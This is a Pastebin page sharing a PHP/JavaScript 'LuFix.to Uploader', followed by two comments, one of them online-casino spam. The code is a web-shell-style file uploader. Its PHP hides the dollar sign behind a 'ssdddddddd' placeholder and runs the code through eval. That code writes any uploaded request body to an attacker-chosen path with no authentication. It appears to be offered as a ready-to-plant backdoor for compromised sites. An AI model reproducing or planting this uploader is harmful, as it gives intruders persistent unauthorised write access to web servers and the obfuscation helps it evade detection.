Advertisement
willysec_id

LufixTo Uploader

Oct 25th, 2023
972
0
Never
2
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.81 KB | Cybersecurity | 0 0
  1. <h4>LuFix.to Uploader</h4>
  2. <input type="file" id="upload_files" name="upload_files" multiple="multiple">
  3. <button id="b" value="upload" onclick='upload("upload_files",0);'>Upload</button>
  4. <br><p>Status : <span id="status" style="color:red;">No file added</span></p>
  5. <script>
  6. function upload(fileInputId, fileIndex)
  7.     {
  8.         var url = window.location.pathname;
  9.         var scriptname = url.substring(url.lastIndexOf('/')+1);
  10.         var filename = document.getElementById('upload_files').value;
  11.         var filename = filename.match(/[^\\/]*$/)[0];
  12.         document.getElementById("status").textContent = "Uploading the file "+filename+", please wait..";
  13.         document.getElementById("status").style.color = "blue";
  14.         // take the file from the input
  15.         var file = document.getElementById(fileInputId).files[fileIndex];
  16.         var reader = new FileReader();
  17.         reader.readAsBinaryString(file); // alternatively you can use readAsDataURL
  18.         reader.onloadend  = function(evt)
  19.         {
  20.                 // create XHR instance
  21.                 xhr = new XMLHttpRequest();
  22.  
  23.                 // send the file through POST
  24.                 xhr.open("POST", scriptname+"?name="+filename, true);
  25.  
  26.                 // make sure we have the sendAsBinary method on all browsers
  27.                 XMLHttpRequest.prototype.mySendAsBinary = function(text){
  28.                     var data = new ArrayBuffer(text.length);
  29.                     var ui8a = new Uint8Array(data, 0);
  30.                     for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);
  31.  
  32.                     if(typeof window.Blob == "function")
  33.                     {
  34.                          var blob = new Blob([data]);
  35.                     }else{
  36.                          var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)();
  37.                          bb.append(data);
  38.                          var blob = bb.getBlob();
  39.                     }
  40.  
  41.                     this.send(blob);
  42.                 }
  43.  
  44.                 // let's track upload progress
  45.                 var eventSource = xhr.upload || xhr;
  46.                 eventSource.addEventListener("progress", function(e) {
  47.                     // get percentage of how much of the current file has been sent
  48.                     var position = e.position || e.loaded;
  49.                     var total = e.totalSize || e.total;
  50.                     var percentage = Math.round((position/total)*100);
  51.  
  52.                     // here you should write your own code how you wish to proces this
  53.                 });
  54.  
  55.                 // state change observer - we need to know when and if the file was successfully uploaded
  56.                 xhr.onreadystatechange = function()
  57.                 {
  58.                     if(xhr.readyState == 4)
  59.                     {
  60.                         if(xhr.status == 200)
  61.                         {
  62.                             // process success
  63.                             document.getElementById("status").textContent = "The file "+filename+" Uploaded successfully in same folder.";
  64.                             document.getElementById("status").style.color = "green";
  65.                         }else{
  66.                             // process error
  67.                         }
  68.                     }
  69.                 };
  70.  
  71.                 // start sending
  72.                 xhr.mySendAsBinary(evt.target.result);
  73.         };
  74.     }
  75. </script>
  76. <?php
  77. $text = 'if(!empty(ssdddddddd_GET["name"])){
  78.     ssddddddddinputHandler = fopen("php://input", "r");
  79.     ssddddddddfileHandler = fopen(ssdddddddd_GET["name"], "w+");
  80.     while(true) {
  81.         ssddddddddbuffer = fgets(ssddddddddinputHandler, 4096);
  82.         if (strlen(ssddddddddbuffer) == 0) {
  83.             fclose(ssddddddddinputHandler);
  84.             fclose(ssddddddddfileHandler);
  85.             return true;
  86.         }
  87.         fwrite(ssddddddddfileHandler, ssddddddddbuffer);
  88.     }
  89. }';
  90. eval(str_replace('ssdddddddd','$',$text));
  91. ?>
Advertisement
Comments
  • lindem1234
    1 year
    # text 0.02 KB | 0 0
    1. Interesting enough.
  • lindem1234
    1 year
    # text 0.25 KB | 0 0
    1. I have already tried new zealand so many different online casinos. But many dropped out because play casino it was difficult to withdraw money online casino . I've been getting carried away lately bonuses https://mr.bet/nz/casino/collection/blackjack
Add Comment
Please, Sign In to add comment
Advertisement